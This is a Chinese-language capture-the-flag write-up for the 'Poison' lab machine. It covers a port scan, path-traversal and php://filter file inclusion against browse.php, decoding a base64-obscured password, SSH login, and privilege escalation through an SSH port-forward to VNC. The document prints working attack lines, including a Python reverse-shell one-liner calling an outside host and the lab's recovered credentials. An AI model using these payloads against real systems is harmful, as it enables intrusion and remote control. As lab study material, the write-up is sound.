Poison(文件包含+端口转发)

1. 端口扫描

ip: 10.10.10.84

1
2
3
4
5
6
7
22/tcp   open  ssh
80/tcp open http
5802/tcp open vnc-http-2
5902/tcp open vnc-2
5903/tcp open vnc-3
6002/tcp open X11:2
6003/tcp open X11:3

嗯,确认是linux系统

2. web探测


一看到浏览器上的URL:file=xxx,就富有职业精神的输入../../../../../etc/passwd

Info1——机器上普通用户名称:
hast::845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:
:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss::601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:
:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi::558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
charix:
:1001:1001:charix:/home/charix:/bin/csh

运行:http://10.10.10.84/browse.php?file=php://filter/convert.base64-encode/resource=config.php

Info2——文件路径:
Warning: include(php://filter/convert.base64-encode/resource=config.php): failed to open stream: operation failed in /usr/local/www/apache24/data/browse.php on line 2
Warning: include(): Failed opening ‘php://filter/convert.base64-encode/resource=config.php’ for inclusion (include_path=’.:/usr/local/www/apache24/data’) in /usr/local/www/apache24/data/browse.php on line 2

于是用php协议,访问browse.php,用hackbar解码一下。

本来想用dirbuster扫描下存在的文件,再用文件包括去查看敏感文件。。。
但是,这个实验中,主页面上有一个listfiles.php,访问以后,直接指出了一个pwdbackup.txt。


上面说这个密码很安全,它被加密了13次。真的还能出什么问题。
然后我一看,我去,base64编码还好意思说安全,加密13次又有什么意义吗?
我还是太菜,手动把密文的\n去掉,然后再解码,很多次解码后,密码为:Charix!2#4%6&8(0

方法二:
sed -i ‘s/\n//g’ pwdbackup.txt

Info3——口令
Charix!2#4%6&8(0

  • Trying:
    ssh charix@10.10.10.84

charix/Charix!2#4%6&8(0
ssh登陆成功

3.提权

/home/charix目录下有三个文件,一个flag;一个secret,是空文件;还有一个secret.zip。
那么需要解压一下,tar -zxvf secret.zip
提示x secretEnter passphrase:
那么需要输入密码,然后尝试错误密码,会反复提示Enter passphrase
通过Info3口令,成功解压。
解压后是secret文件,类型为:secret: Non-ISO extended-ASCII text, with no line terminators

用cat secret,显示为乱码。

  • sudo、gcc———–>command not found

  • su ——> Sorry

  • uname -a查看内核版本,应该不是内核漏洞提权。

    1
    FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017     root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64
  • nc -l 999 ——-> nc: Permission denied

  • Trying(SUID提权,参考)。
    find / -user root -perm -4000 -exec ls -ldb {} \;
    执行结果中,没有namp、vim、find等等可以提权的程序。

有意思的是,在连接过程中,ssh命令面板突然不灵了,无法输入任何命令。
重新连进去以后,我的readme.txt多了一行。。。看来遇到同道中人了。

  • Trying:测试nc,用服务端连接kali。成功连接。

不是吧。。又连不上了,第一次遇到被人挤下线。

查看一下进程这些都是远程连进来的。。。

  • Trying:太卡了,弹一个python shell。
    本地:nc -lvp 1234
    服务器:python ‐c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.198",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","‐i"]);'

  • Trying :
    python -m SimpleHTTPServer 888

    1
    2
    3
    4
    5
    Traceback (most recent call last):
    File "/usr/local/lib/python2.7/runpy.py", line 174, in _run_module_as_main
    "__main__", fname, loader, pkg_name)
    。。。此处省略几十行
    socket.error: [Errno 13] Permission denied
  • Trying:

  • Trying:
    尝试vnc远程命令执行

1
2
3
use exploit/multi/vnc/vnc_keyboard_exec
set RHOST
set PASSWORD

试了好多密码,包括里面secret文件。失败

2018.9.28.总结

writeup参考

SSH原理与运用(二):远程操作与端口转发

通过绑定本地和远程的端口,就可以用vncviewer命令,使用密钥,开启vnc窗口
vncviewer -passwd secret 127.0.0.1:5901